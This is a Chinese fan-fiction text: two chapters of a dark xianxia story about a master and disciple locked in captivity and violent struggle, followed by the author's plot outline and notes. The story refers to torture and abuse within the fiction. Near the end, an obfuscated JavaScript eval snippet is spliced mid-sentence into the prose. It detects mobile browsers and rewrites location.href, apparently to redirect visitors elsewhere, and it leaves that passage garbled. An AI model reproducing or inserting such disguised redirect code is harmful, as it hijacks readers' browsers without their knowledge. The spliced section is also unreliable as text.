可,他所能想到的最惨痛的下场,都远不极此。 他的一切苦痛。他的性命与身躯。他的所有挣扎与反抗。 都是——被人安排的。 他受命运驱使,编写出《狂傲仙魔途》;又以身躯为祭品,将自身的经历与修为献上,让外来者……打出完美结局。 更有甚者,他的所作所为,皆是外来者的对照之物。而他的下场,也用来警告外来者莫要重蹈覆辙。 他悲惨的一生,到了最后。 也只是‘主角’口中,那个‘尖酸刻薄、人品败坏的原装货’。 何其—— 可笑。 可叹。 可悲。 沈清秋突然不想再‘看下去’了。 他甚至能明白‘洛冰河’为什么会突然间性格大变,跟他说什么‘弟子心悦于您,愿与您结百年之好’。 以及,那场从一开始的“什么时候了?”“大概是,一切落幕的时候。” —— 接连不断的记忆碎片争相涌入他的脑海,失去一切的痛楚、渐行渐远的众人。 他放任自己的意识漂流;放任自己沉溺于回忆;放任外来者用自己的身躯,与众人,打成一片。 他是个错误的存在,他是不可控的‘觉醒NPC’,他是不被天道喜爱的‘原装货’。 他是,注定要将一切搞的糟糕透顶,等着主角来‘大展身手’、‘挽大厦之将倾’的……工具人。 当神魂沉睡的时候,声音和意识都变得极为遥远。 有一种说法,人在极为寒冷的情况下,反而会感知到温暖。 而此时,本该‘知晓一切’后自暴自弃、感到被整个世界孤立的人,却意外的感受到了轻松和平静。 就像是一根被拉紧的琴弦,绷得越紧,声音越尖锐。可当他被拉的过于紧时,外界的搅动,再也不能让他波动分毫。 孤独是人声鼎沸之时,寻不到自己的位置。他人其乐融融,而你,形单影只。 而沈九,当他成为‘沈清秋’,遇见‘洛冰河’之后。 他的一切,都是为他人作嫁衣裳。 这样的认知,未免太苦了些。 这样的‘事实’,未免残酷了些。 这样的,命运轨迹,未免……想让人拉着全世界陪葬。 亿万的负面情绪如同海水倒灌,充满了他的颅腔与胸膛,脑中除了自毁的冲动,几乎无法考虑任何事。 “那就死了吧。” “那就放弃吧。” “那就随他们意吧。” 宿命是不容抵抗的,世人的安排是写进剧本的一部分,它连心连骨,唯有死亡才可以逃脱。 若是他不存在于‘天道’的笔下,不依附于‘天道’的文字描绘。 他,是否存在于世? 神爱众人。 可创世神怎会一视同仁的爱着所有人呢。 创世之神所倾注心血的,是那个占据他的躯体,占用他的修为与法器,和所有人微笑问好,被世间所有人喜爱的——沈垣。 因为神的偏爱,他即便是漏洞百出,亦无人怀疑。 因为神的眷恋,即便是贵为两界至尊,也会被他养成忠犬。 因为神的举动,一个本以获得一切的龙傲天,宁可不断打破世界枷锁,也要争夺‘沈垣师尊’的目光,更甚至跑到沈九的面前,希望沈九能像沈垣一样温柔体贴。 这个‘万人迷女主角’。 当真是…… 得神灵眷顾到,无法评价啊。 ??———— ??———— 冰哥对沈九有爱吗? 可能有,但更多的是不甘。 那他对沈九有恨吗? 必然有,这个简直满的要溢出来。 那么。 沈九究竟错在哪里? 额……大概是,虐待主角,将主角踢下深渊,并且过早放下武器、沦为阶下囚? 何其可笑。 就像是被物理降神般,一个本该站在修真界前沿对抗魔族入侵的领头人。 却在一个连证据都不齐全、一群人对小姑娘的风言风语中,甘愿放下武器、坠入监牢,并最终惨死其中。 天道的恶意,简直不要太明显啊。 第十九章撕开假象,才能知晓…究竟多悲惨 “滚!”沈清秋被强制唤醒,紧绷的肌肉忍不住的痉挛,从床上摔倒地下,恶狠狠的瞪着还敢靠近他的洛冰河。 “您分明知道...” 一把被推开的冰哥放弃了将人搀扶起来的打算,看着整个人写满了抗拒与拒绝的沈清秋。眼神像初冬刚刚结了一层薄冰的深潭,透着显而易见的脆弱。 可扒开那层伪装的‘脆弱无力感’,底下涌动的,却是冰冷肮脏的黑水。 “你故意的?” 沈清秋散发的寒气与怨气更甚。他险些被那些过往所绊住脚,又在看到‘沈垣’的做法后气得要死。 最后发现自己的一切都是为他人做嫁衣,就连一惯最关心他的岳清源,都不曾为他而试探、找寻。 那种无人惦记的感伤,是盛世之中被掩盖于烟花之下、葬送在烟灰之中的愤恨与失落。 故事处处都有他,却一刻也不曾真正属于他。这种离谱与落差,足以令人疯狂。 可,最可恶的,是强行将记忆塞入自己脑子的洛冰河! 若非洛冰河的恶意布局,他怎会与仇人和平共处?若非洛冰河刻意引导,他怎会为自己这可笑的命运感到悲哀? 他明明已经上过一次当,梦境中‘少年沈九’的经历与自己何其相像。 沈九以为对方是想玩救赎游戏,心甘情愿的闭上眼睛,充当‘睹物思人’的‘替身’,最后摔得一塌糊涂; 沈清秋是明知对方有问题,却在无力反抗、想办法找寻破绽之时,踏入对方蓄谋已久的陷阱。 原来…… 洛冰河想在‘沈清秋’身上得到的东西,竟是异界之魂!竟是他人的温暖…… 而他,只不过是,等待其他人,入侵的躯壳罢了。 当真是,可笑至极,有趣极了。 —— “您不是...”看到了吗…… 冰哥还想说什么,却在沈清秋毫无惧色的眼睛里,看见了被倒影进去的自己。 他本意是想看沈清秋沉沦于过往之中,知晓他的选择是错误的,‘沈垣’的做法才是正确,‘沈清秋’应该学习‘沈垣’,好好对待他。 可为什么,沈清秋得知一切,却依旧不肯改变不说,还比之前更加强势和无畏? “那又如何?”沈清秋看着此时此刻还在装的冰哥,恶意像阴暗处的毒蛇爬上脸颊。 每当他以为人生不会更糟的时候,现实只会告诉他还能更糟。 真惨啊,就像是被打的地鼠一样,他才刚刚看到离开困境的希望,就立刻被狠狠打压,令他跌回土里。 可。那又如何? 不就是棋差一招又被算计了吗?不就是拉下神坛后还能在沉入海底吗?不就是挣脱淤泥后还有看不见尽头的厚重冷水吗? 他的东西,便是拼的魂飞魄散、尘土皆无,也绝不送给别人! 对着神情脆弱的像是琉璃的冰哥,沈清秋脸上的恶意比魔族最恶的魔还要狠辣可怕。毫不留情的言语如同最凶狠的一脚踹出,将其眼中的期待踩得稀碎: “发生过的事情,就是发生了。” “死去的人不能复生、毁去的东西无法还原。” “你想要我陪你过家家,满足你的‘个人爱好’,填补你内心的缺失。” “我同意了吗?” “杂种。” 当然,有句话他没说。洛冰河想让他死,换异界之魂占据他的身躯——凭什么? 鸠占鹊巢,难道还有理了不成? 你们都想要‘沈清秋’温柔随和、与人为善;都希望‘沈清秋’弱小无能,主动找其他人寻求帮助。 所以,就要杀死‘沈清秋’,令他这个本来的灵魂,为外域之魂让位吗?! 既然这么想要外来者,为何不一出生就将他夺舍,为何不在他人生最低谷、最黯淡的时期将他灭杀? 还不是——想让他替外来者将苦痛咽下;替外来者将难走的路、满地的坑跳过;替外来者将难渡的河、会淹死人的泥潭一步步脱离? 说什么‘想要温柔沈清秋’。 无非是让外来者摘取他的劳动果实罢了。 可惜。吃苦的是他、忍痛的是他、受伤的是他、被打被揍、隐忍后奋起反抗的,还是他。 沈清秋的果子。 他不仅不会给外来者。还会想方设法将异界之魂灭杀,令他魂飞魄散,不得轮回往生。 至于阻拦他,想让他‘乖乖让位’的人。 全是帮凶。 尤其是,对于洛冰河这种分不清是非黑白、掌握有强大力量却只会破坏的天生恶种之人,只能以更强势的态度和力道去打压。 一点点的甜头。 也不能给。 ———— 时间就像是回到了那段时光,满心欢喜的少年被仙人选中,恭恭敬敬的端起茶杯递上,等待着仙人的稳妥接过,温柔问询。 可惜,他的过往里,迎来的却是仙人劈头盖脸的一杯热茶砸下,浇灭了少年会跳动的心。 冰冷的现实里,比那杯带着滚烫温度的热茶、更可怕的言语砸下,冻醒了还有期待的渴望。 他又被拒绝了。这是……第二次? 明明。 仙人已被他困于府邸,拿捏在手中。 能让他离开的羽翼被折断,能帮助他的亲族压根不知缘由。 为什么,他还能如此高傲? 明明。 选择错误的人是他,导致冰哥与冰妹的人生轨迹大相径庭的人是他,最后拖累苍穹山灭亡的也是他。 为什么,他还能如此理直气壮? 难道说。 他应该像梦境中对少年沈九一般——直接扒开他的衣物,一层层的加压,将他深深揽在怀里,融入骨血之中,血液参杂、发丝搅在一起,才能将其真正‘拿下’? 冰哥眼中的薄雾彻底消散,只留下像鲜血一样的疯狂与悸动。他一点点站起来,宽大的身躯笼罩住身下的阴影。以及,那个随时能被他拎在手里、压至地面的,不听话的宠物。 “既然您学不会温柔,正巧弟子也模仿不来乖巧,您就听话些,别怪弟子无情了。” 最后一层遮羞布已被扯下,双方都清楚的明白对方的底牌、软肋,以及强硬至不可能更改的态度。 他们之间的拉锯与试探皆已结束,无法再像之前一样和平共处,披一层温和的假意。 这次,甚至不再是冰哥单方面作死刺激沈清秋。 撕开这层‘和平相处’的假衣,清醒过来的沈清秋,不会再陪洛冰河演戏。 而,彻底不再抱有期待的冰哥,也不会再与沈清秋纯以招式对打。 —— 他们之间,从最底层的逻辑上就不可能平和。 沈清秋要的是脱离冰哥掌控,拒绝将身躯贡献给他人使用。 冰哥要的是沈清秋如沈垣般温柔体贴,要么就干脆别在反抗当个床宠。 完全对立的他们,不可能存在双方都得偿所愿的结局。 一方的美好结局对于另一方来说都是无法接受、必须要‘整改’‘反抗’‘压迫’‘对打’的。 而对于武力、地位皆站上风的冰哥来说,既然冰块无法被软化,那就击毁算了。 只要从他的内部下手,摧毁他在意的一切,摧毁他维生的事物与情感,拆分他能体会到的一切美好,令他陷入痛苦的深渊里—— 任何坚硬的冰,就算不能被解冻,也会因物质被破坏而散落成渣,继而,融化成水。 第二十章曾经的过往,终会化为回旋镖扎入心底 冰哥催动天魔血,将沈清秋牢牢的压在墙上,看着他因痛苦而冒出冷汗的额头,以及苍白到近乎透明的面皮。 回想上次梦境中,还算甜美的滋味 ,冰哥决定给对方一个机会。若是他肯主动一些……两人虽不能像之前那样朋友般相处,但他会给予对方最大程度的宽容与宠爱。 “师尊啊,趁弟子还有最后一丝耐心,您还可以说句软话。弟子会听的。” “呸”含有浓重腥味的鲜血被沈清秋吐在冰哥脸上,事情都发展到这一地步,若是退步,就是当众认怂。 而黔驴技穷后下跪的人,只会因无能废物而陷入永世无法翻身之地! 冰哥看着即便到现在还要死鸭子嘴硬、拼着彻底将他激怒也要‘挑衅’自己的沈清秋,有些无奈的笑了笑。 他右手轻抚着对方的脸颊,动作轻柔的像是帮对方抹去灰尘。神情认真诚挚、语气堪称深情:“为什么你总是不听话呢。” 沈清秋用力将对方在自己脸上摩挲的手丢开,猛咬舌尖,以舌尖精血破除对方钳制。接着左手反推墙面,侧身绕过敌人的同时,右腿抬起,力达后脚跟,猛踹对方膝盖。 冰哥退后半步,在脸上摸了一把,看着手指沾上的对方血液,顶着沈清秋震惊的眼神,将其舔入嘴中。 “师尊,这次被我抓到,可没有梦境能让你逃避了呦。” 说着,他随意用袖子囫囵擦了下脸,眼里满是见猎心喜的愉悦。 野猫还没养熟呢。只是剪去指甲,令其虚弱还远远不够。这次将人带回来,他要将对方的尖锐牙齿一颗颗扳掉才行。 “梦境?你忘记被我打得四处逃窜、满口求饶了?” “诶呀,师尊记忆力可真好。‘弟子’被‘师尊’打,不是天经地义吗?”冰哥略笑了一下,对‘弟子’和‘师尊’都加上了重音。 “不必提醒,直接打就是。” 沈清秋承认他之前对洛冰河多有得罪,也承认洛冰河在清静峰求学时、因他不管事而受到不公平对待。 可那又如何,他都没计较对方将他掳走、毁去修为、沦为凡人的事情,难道还指望他为已经过去的事情,跪下去道歉不成? “师尊。弟子既已出师,您当心被弟子打倒,多丢面呀。” “?” ———— 回应他的是沈清秋紧握拳头砸来的破风声。 冰哥看着即使紧皱眉头也要一拳砸过来的家伙,忍不住侧身避开,提醒道:“师尊。弟子这次可不会让你了。您当心手臂别被弟子拽下来。” “是吗。”沈清秋丝毫不惧,完全不像是记忆片段中,那个看见冰哥就会下意识颤抖和逃避的落败者。他甚至上前一步,高抬腿压下:“那么,是左边还是右边呢?” 就像曾经的故事里,勾起冰冷残忍笑意,蔑视战败者的冰哥,给俘虏自由发挥的选择“选左边还是右边呢?” 冰哥略退半步,眼里闪现当初的场景——冰哥直接将未回应自己的某人忽略,先左后右,将沈清秋的肩膀全部撕下。 沈清秋的身高不如冰哥,武力修为也不如。可愤怒与无畏叠加的气场上,沈清秋不惧一切、冰哥心有戚戚的状态下,冰哥无法理直气壮的动用武力去强压对方。 毕竟。之前已经尝试过的错误道路,若无必要,就不必再来一次了。 眼前这个,本就是靠冰哥天天喂血续命。若真‘重来一次’,到时候因失血而‘死’,还不是要冰哥费神费力的挑药材,割腕喂血将人救活嘛? 讲白了,之前他能那么做,是因为他不在乎对方死没死。而现在他不再那样做,是因为他不想让对方死。 一个低等魔物,在转瞬之间突起,一招便能将沈清秋打成重伤。修真者与凡尘的云泥差别,本就像碾死一只蚂蚁。 沈清秋能与他对打这么久,本就源于……冰哥不想太快结束战斗。 —— 狭路相逢勇者胜。当其中一方担心另一方的时候,他就已经败了。 沈清秋心理占据上风的气势,使得他的身影看起来无比高大。又是一脚踹过,沈清秋看着只躲闪而不出招的冰哥,心里了然。 他以言辞为刀、过往为剑,步步紧逼:“要不要我替你动笔?” 曾经发生的过往里,被撕裂双腿的沈清秋,手掌被毛笔刺穿,要求他写一封‘求饶书’。 “还是需要我替你布个剑阵,去里面游走一番?” 最后的结局里,高高在上的冰哥,将断剑丢在不成人形的肉团子脚下,奖赏般的夸赞道:“岳掌门对您可真是‘珍重’啊,竟真的赴约了。” 这些过往,沈清秋不愿承认是现实。 那样悲惨的过往,若非天道偏爱,本不该轻易发生。 自古邪不胜正,偏到‘洛冰河’身上,却是以人魔混血的杂种之身,以魔界为主导,成就两界尊者之位? 苍穹山,既为修真界第一大派,竟被人三番四次打上门来,最后还被灭门? 什么垃圾剧情,什么狗血扯淡的发展,比现实还不讲逻辑。 沈清秋看着本威势强横、气息暴虐的冰哥,被他的三言两语打散骄傲,眼中涌起带着潮意的雾霭与迷茫。 明明拥有随时能压制对方的力量,却在占尽优势的情况下,被他以言语反而攻之。 “那么。”沈清秋继续向对方的心口插刀:“这次将我丢入地牢,是打算一如既往的给我喂血续命,还是打算任伤口溃烂,化为骷髅?” 今日不同往日。之前的沈清秋死不了,可现在的沈清秋,活不了。 他是修真者的时候,甭管是挖去眼球还是撕开双腿,以修真者的强大生命力、和天魔血的续命之能,都会让他痛苦的活着。 可现在,沈清秋只是一个羸弱的凡人。 莫说不给疗伤药物,就是少吃几顿饭,立刻就能表演什么叫‘皮包骨头’。 尤其是,以他现在的虚弱,别说上什么刑罚,只要床铺硬上几分,精神和生命力立刻萎靡的就像是要死了一般。 “师尊……”冰哥有些无助的看着对方,不明白情况怎么就急转直下,成了他占下风? 于情于理,这场游戏的主动权,都该是他。可现在,却怎成了他理亏? 尤其是,他明明做了这么多的努力,双方对彼此的态度也发生了极大的改变。却为何,对方只记得他犯下的错事? 他一开始的本意,只是想让对方明白,他……真的变了。 即便他与梦魇对话之时,硬着舌头说‘我要征服他,我才不爱他’。可这么多年的陪伴,这么多次的对打与喂血…… 沈清秋,当真感觉不到自己的‘爱意’? ??…… 冰哥的眼神过于脆弱,神情就像是要碎了一样。即便他什么也没说,可整个人的气质里,竟无师自通的,出现了‘哀怨’。 沈清秋下巴微抬,不再进攻。即便是将‘斩草除根’、‘补刀’等信念刻入骨髓的男频仙尊,在对方明显认输的时候,也会给对方留一分退路。 当然,还有一个原因是,做事留一线、日后好见面。他虽然很容易死,但总是会被对方‘救活’,两人这种诡异的相杀相救,还是维持平衡要好一点。 沈清秋眼皮压低,遮住里面的嘲讽。心中不由暗呲一声:‘有了感情枷锁的畜生,竟废物、软弱至此。’ 没错。 冰哥是骄傲的、修为地位都占据高位。 只要他想,随时可以掀翻棋盘,以武力压迫、以天魔血禁锢,强行将沈清秋压于身下。 就像是梦境那般,少年沈九与此刻的凡人沈清秋一样,从来都没有反抗之力。 可那又如何呢。 感情这种东西,是不能以男频的力量体系去比对的。 他,有求于‘沈清秋’。 他,想要‘沈清秋’的爱意。 沈清秋敏锐的拿捏到‘洛冰河对师尊的隐秘感情’,继而化为绳索,将冰哥牢牢束缚,狠狠踩在脚下。 软肋这种东西,甭管是不是与自己有关,握在沈清秋的手里,他就是能杀敌捅人的尖刀。 力量体系高的人,没办法通过外在武力扭转人心。 而力量不足,感情占据上位的人,一旦被对方‘得偿所愿’,面临的就是再无反抗之能。 他一步也不能退,一颗枣也不能给。 既已置身悬崖之上,每一步都如高空走钢丝,行差踏错,便是跌得粉身碎骨。 就像是过了中秋节的月饼,别说是打对折。便是打三折、一折,不被需要的东西,哪里还会有人捧着财物高价求购? 感情与意义,都是毫不值钱的玩意。 当对方不再对其抱有‘非你不可’的想法后,就像是岌岌可危的高楼,被锁入箱底的衣物……以及,像那些曾经为你挡剑毁容却没死的、失去了‘以色侍人’资格的妃子—— 只剩下不被注意的虚假温馨,徒留在阴影的角落里,暗自发臭。 14.未完结的后续设想 绪论给了冰追求九的原因,上部是冰将九囚禁后两人和平相处的日常。可谁都知道,他们之间不可能通过如此‘温馨’就能携手,而两人之间无论哪一方都不可能就这样真的让时间停止。 冰一方面希望两人和谐相处久一点,一方面又忍不住去探九的底线;九原本已经被温水煮的都忘记了自己失去修为,却又会在冰的一步步入侵中立刻警醒。 或者说,冰何尝没有通过这样的方式去‘唤醒’九的独立与野性,避免他真的成为‘温柔到不会伸爪子的家猫’? 他们这样在弱肉强食的森林法则里打滚的人,如果哪一天真的为谁舍弃一切,放弃抵抗,才是最可悲的事情。 当他是失去出去之后的谋生能力,无论他有没有被困在笼子里,他都成了金丝雀。而这样漂亮的鸟儿,冰哥的后宫里数不胜数。 这就是我磕冰九最重要的一点: 九的傲骨不能被折去。 否则他将泯于众人后,轻易被世俗埋葬。当他失去自己的独特性之后,他还是他吗?而失去独特性的他,又与其他人有什么区别呢? 幻想者与事实之间存在的最大区别就是。被幻想出来的那个强者,他是永远不会低头的。他扎根于贫瘠的土壤,一无所有,任何困厄都能轻易降临他身。撕咬着敌人摸爬滚打至今,满身伤痕,爬上至尊位。 其实真正的他到底有没有ooc,或者说我究竟是源于对作品的喜爱还是对这个角色的喜爱,我也不知道。或者说,我是为了自己—— 我喜欢的可能不是这个角色,而是他身上的这个特性。所以蒙上眼睛去幻想,在脑海中塑造了一个‘理想中的他’,供我痴迷不已、自娱自乐,且不后悔。” 我喜欢这样,为了自己的理想,无数次撞了南墙也不回头的少年郎。 我喜欢这样,哪怕经受了世间所有的责难依旧爬上最高位置,并且在人生最跌入低潮后依旧咬着牙,不服软不低头的强者。 我喜欢这样,哪怕遭受了别人的指责,付出好意没有得到回报,却依旧坚持在别人看不见的地方默默做事的同伴。 我喜欢以天下为己任的侠者。 喜欢其九死而犹未回悔的圣人。 喜欢披着君子外衣,却丝毫不掩饰内在恶劣的坦诚直率。 这一切的一切,都非常满足我对‘沈九’这个人物的欣赏。而这份喜爱,化作了我脑海中的设想,最终使我敲下键盘,去为尝试另一种可能。 另一种,属于狂傲线的,全员存活、百花齐放,少年人依旧是热血沸腾、每个人都拥有自己故事线的,一种假设。 当我努力将这种幻想写出来时,无论有没有反馈,在冥冥之中,为着那一丝的可能性,未来就好像,更值得期待。 我男友问我,写这些零碎,有用吗?赚得到稿费,够交电费吗? 我回他:你就当我是在网上当喷子吧,主打一个开心。 基于上述的想法,我之前一直在写男频线——呃,虽然写了没几张,但开头的2w字让我反复重写好几次,实在是写吐了。 写一下冰九对打,换一下脑子。 这个故事的下半部分,是不再陪冰哥演戏玩闹的沈九,打算将沈垣弄出来,撮合两人。是滴,九的目的是拎沈垣出来,看一看其他世界里【温柔沈清秋】究竟是个什么情况,顺便让冰干脆与沈垣搭伙得了,别霍霍他。 而且在前面,九的身躯早被改得不适合修真,甚至都开始堕魔。虽然一开始的大纲里,是九坠魔后夺取心魔剑,灭杀冰哥;但前一段时间写的大纲里,存在冰与九携手夺取渣反世界本源的另一种轨迹。 那既然能干一票大的,就没必要非得写冰九打架了,当然打架真的很爽,莫名其妙燃起来了好么(居然有人说我的剧情是打架里面透露着一点点感情,我是真的在写武侠吗?) 所以在这个故事里,原先的大纲就直接被舍弃了,换成最新写的那个大纲。 在无数次的争斗中,这两人在双方都忍不住的情况下,开始往渣反世界祸水东引——毕竟大家都知道,当内部矛盾无法调节的时候,只要打一个仗,那么内部就会相当的团结。 而想要冰九he,要么让九反复杀冰泄恨,要么……让两人成为同伴。 爱情?那太难了。 他们要的不是对方给不出来的【爱】,情感这些东西对于丛林法则里杀出来的人来说太难了,太大了,太纯净了。 他们想要的只是其中一人在与敌人对峙时,能够放心将后背交给对方。要的是对方面向他举剑时的那一丝犹豫,那一份颤抖,那一寸偏移。 对冰九来说,即使是残酷的真相,也好过温暖的童话。冰哥会向往沈垣的温柔,却没办法忍受对方的傻白甜;而他会厌恶沈九对其他人的平淡与对他的抗拒,归根结底,却是他自己都分辨不出的占有欲。 冰九之间,互相看不顺眼,互相警惕对方的插刀。可正是这样的割裂里,却又衍生出一丝被掺杂在无数谎言与恶行中的真情。是冰对九不由自主的向往与臣服,是九对冰狠下心却又无意识放过对方的容忍与放任。 这样的感情未免也太好磕了吧! 我真的超爱的! ——剧情大纲—— 九得知一切后,坚定的与冰哥对打,冰哥在【将九逼死】-【将九救活】的循环里来回波动,最后怒了:你tm除了跟我对着干,还想干啥! 九:你想要的从来不是我,又何苦跟我纠缠不休?甚至说,在一开始的<狂傲世界>,若非你看到了那对师徒,又怎会想起与【沈清秋】玩这种恋爱游戏? 冰:那你究竟想怎样?! 九:不如你干脆夺取过来【异类沈清秋】,也让我看一下,究竟他有多好,能让你惦记到跨着几个世界都想拥有。 冰:弟子说过很多次,我不想要他,我只要你。 九:那你就去杀了他,我见不得有【温柔沈清秋】存在。既然我没有得到世界眷恋,又何必有【沈清秋】得到过? 冰:...(这该死的〈我得不到也不能别人得到〉,实在是过于熟悉了) 九:怎么,突然发现我如此恶毒? 冰(醍醐灌顶):您说的对,弟子现在就去研究怎么打开那个世界的大门。该死的幸运儿们,本就不该存在。 九:我如此对待你的心上人,没什么想法? 冰:您说哪里的话,我的心上人不是您吗? 九:当真无悔?(我可不是什么善人。) 冰:瞧您说的。在寒冷者面前炫耀冬衣,在缺衣少食者面前吐出饱嗝。这样的人,本就该挨揍。 九:可惜我连半分傍身灵力也无。 冰(所以天天跟我打的要死要活的到底是谁):弟子以一打二不在话下。 九:本尊只是个手无缚鸡之力的文弱书生。 冰:……(你没事就爆种,全靠天魔血续命,还想个屁的修炼灵气!要不跟着我修魔算了!) ———— 沈垣被冰哥擒过来,九坐着打量一番:“果然是君子如玉,这身温婉贤淑,沈某确实不及。” 沈垣:“……”明明都是同样的脸,阴阳怪气! 冰妹寻来,冰哥与冰妹打架。 九将沈垣压下:“忍着点,敢喊出声就把你舌头拔了。”使用夺基大法夺去沈垣体内尚能修炼灵气的资质。 九:“废物。” 说的那么好听,体内还不是有天魔血作链子,灵力修炼什么也不是?只能说,与沈九险些坠魔相比,聊有胜无罢了。 “听说你与那魔头情比金坚、恩爱不渝,怎的却这点修为?他连棵改善资质的仙草都舍不得吗?” 沈垣:“……”大佬您对这个‘爱情’的理解可真是简单干脆、直白粗暴呢。 九:“我已在你灵识内下了禁制,今日之事你若是说出去一分一毫,就等着变成傻子白痴吧。” 沈垣:“你要干什么。” 九(笑容阴森):“借你身份玩玩。你若敢露破绽……” 沈垣:“……”原装冰哥X原装沈九,果然都不是省油的灯。冰妹快来啊,他真的好怕怕。 —— 九刚踏出门外,冰哥、冰妹、沈垣已堵在门口。 九:“你果然不是小白兔。” 沈垣:“说的哪里话,我可从不骗人。” 冰哥:“师尊,自己走回来,弟子就当什么也没发生。” 冰妹:“就凭你,还敢威胁我师尊?” 九:“【沈清秋】不是在你们中间吗?”九露出挑衅的笑容:“是想坐拥齐人之福?” 九干脆伸开手,无害的声音充满蛊惑:“那么,究竟哪一个赢者通吃,哪一个哭的流鼻涕?” 冰妹:“我只要我师尊。”边说边将沈垣拉住手,十指相扣。 冰哥:“师尊这句话倒是提醒我。”露出和煦的微笑:“师尊若是愿意服个软,弟子替您弄死这两位。” 九:‘当啷’将修雅丢在地上,眉毛上挑。他都这样“乖巧’又‘柔弱’了,他们还想要什么呢? 冰哥:“师尊,这次的报酬,弟子回来会亲自收取。” 冰哥与沈垣、冰妹对打。沈垣被冰妹挡在身后,却被突然出现的沈九扯出战斗圈:“小白莲,知道背叛者的下场吗?” 沈垣:“!!!”手中掐诀:“别过来!”扭头看向冰妹:两冰打得你死我活。 九:“想要活命,就说出点我感兴趣的。” 沈垣、后退一步:“你感兴趣的不就是修为吗?这个我也没办法啊!” 九(眯眼):“看来你很了解我啊。”跨一步:“送你过来的时间裂缝在哪?” 沈垣:心魔剑随手一划,我怎么知道?看着越发危险的九,打个激灵:“我带你去!” 九:“一炷香内若找不到……” 沈垣:“一定能!” ———— 九进入渣反世界。 冰哥、冰妹、沈垣三人很快跟上。 九扭头看向沈垣:“第二次。” 沈垣:“嗨。” 他脑子有病啊,识时务者为俊杰,单独面对九要听话,九离开还不赶紧让两冰别打了? 冰哥:“师尊,看来您的腿,是不想要了。” 九:“无非是回家看看,怎么,本尊回自己家都不行吗。” 冰哥:“行。当然可以,只是您希望弟子陪您回‘我们的家’,还是想让弟子陪您回‘娘家’。” 九:“你就非要跟我讨言语上的便宜?” 冰哥:“弟子向来很尊重您的选择。”【注】 九:看一眼沈垣:“只是不知,两个‘沈清秋’,其他人会不会怀疑些什么。” 冰哥、眯眼:“弟子可不是您,不会给您第二次机会。”也不会,再次玩一出让你跑掉的戏码。 【emmmm,这后续没得写啊】 【算了,开个挂】 九与三人对打起来;战事滔天;陷入秘境,沈垣与沈九互换,重走〈洛冰河〉少年路。 ———— 沈九看着幼年被欺负洛冰河:“废物。” 冰妹:“我师尊会温柔抱着我,说‘以后不会让我一个人’。你果然不是他。” 沈九:“呵呵。” —— 沈垣看着幼年被欺负洛冰河:“之前我不够坚定,现在我告诉你,我会一直陪着你。” 冰哥:那个废物一直都这样吗!凭什么!我要将他夺走!“好,师尊,以后不要离开我。” 沈垣:“???冰哥!!你不要过来啊!!” ———— 沈九成为幼年被欺负洛冰河:以不怕死的狠劲将所有人打倒,恶狠狠:“记得喊九哥。” —— 沈垣成为幼年被欺负洛冰河:瑟瑟发抖:冰妹啊,你童年可真惨,快来个人啊…… —— 沈九面对洛冰河养母:这具身体的养母,具有养育之恩。虽不喜,但恭敬和照顾总是要有的。 —— 沈垣面对洛冰河养母:早死的NPC啊,若不是死的太早,冰妹又怎么会那么惨?得养好她,弥补冰妹的缺失母爱。 ———— 论冰妹与沈九能不能磕。 呃,能是能,但很难。 虽然冰妹喜欢沈垣是因为脸、身躯、地位、修为。。以及温柔如水的性子,会护着他的‘男友力’。 而这些,除了一个’性子‘是沈垣的,其他都是沈九的躯体和修为给的。 别说什么沈九不会护着冰妹。若不是沈九的修为在那摆着,沈垣上去就是送菜,冰妹能喜欢一个花瓶、一个只会添乱的累赘? 但——沈九的性子,实在是不讨人喜。 而且还有很重要的一点。沈九看不上只会唧唧歪歪哭嘤嘤的玩意。 沈九甚至都看不上伪装的像冰妹的冰哥。 所以吧,就别为难作者了,渣作者实在不想让他两凑对——就让冰妹继续执着下去吧,千万别‘幡然醒悟’,发觉自己其实爱的是皮囊。 要不然,对沈九来说,跟走在路上突然被疯狗咬了一口,有什么区别? ———— 九:灵魂破灭,却仍有不甘? 狂傲九:其恨滔天,恨不能生脍其肉 九用日月灵华芝为狂傲九塑形:(他能用感情拴住冰哥,是因为冰哥已经失去过,所以才会想着‘爱惜’,如若不然,九与狂傲九,都逃不过〈被玩坏、被撕毁〉)我的幸运,是踩在你的血泪苦难之上。 狂傲九:(明明被他连累,被他世界的冰哥直接掳走,现在是连剑都拿不起来的凡人,却还觉得有愧)半魔之身,即将坠魔之人,何来幸运? 九:(不觉得现在有什么不妥,只认为局还没下完,付出些东西、吃些苦不算什么))对抗天魔,总要有些代价 狂傲九(内心有些慌乱,表现为别扭和冷硬):我的仇怨,无需旁人插手 九看向狂傲九:(明明是害怕九被搅进这摊烂泥,却用这样冷硬孤傲的态度推开他)他与我,亦有仇怨 九、狂傲九:果然,他们才是一样的人。习惯了将苦难咽下去,习惯了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15091633|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用冷漠拒绝其他人的善意,习惯了拼上一切去赌自己能赢,习惯了用实际行动代替口头许诺。 ———— 【水仙好好吃、爱吃、好吃】 【嗯……好像歪掉了?距离一开始的大纲和后续的大纲又十万八千里?】 【emmmm,先这样写着,后续总会歪的】 ——碎碎念—— 【注:一点碎碎念】 想起来这个就忍不住吐槽一下〈锁清秋〉,完全是个人看法,非常自娱自乐。 为什么在这篇文里,冰九能‘和平共处’? 因为冰哥一旦触及九的底线,九是真的不要命。而这样的强硬之下,冰哥反而不敢真做什么——毕竟他已经弄碎了一个,面前这个起码愿意跟他正常相处。 所以他呈现的其实是【九用自己的命做筹码训狗;冰用仅剩的耐心陪九过家家】 所以冰会一步步试探九的底线,九也会在察觉到不对劲直接拔剑。 这是我个人很喜欢的对立与拉扯。 〈锁清秋〉里面有一幕,大雪天,九被冰压在雪里惩罚,又是断腿、又是当着他的面杀人,最后九又是哭出血泪又是跪下服软,傲骨折了又折,一颗心逃到了梦境也要被拉出来碾碎。 呃——我个人是虐得心肝疼。 但——不得不说,他是有逻辑的。 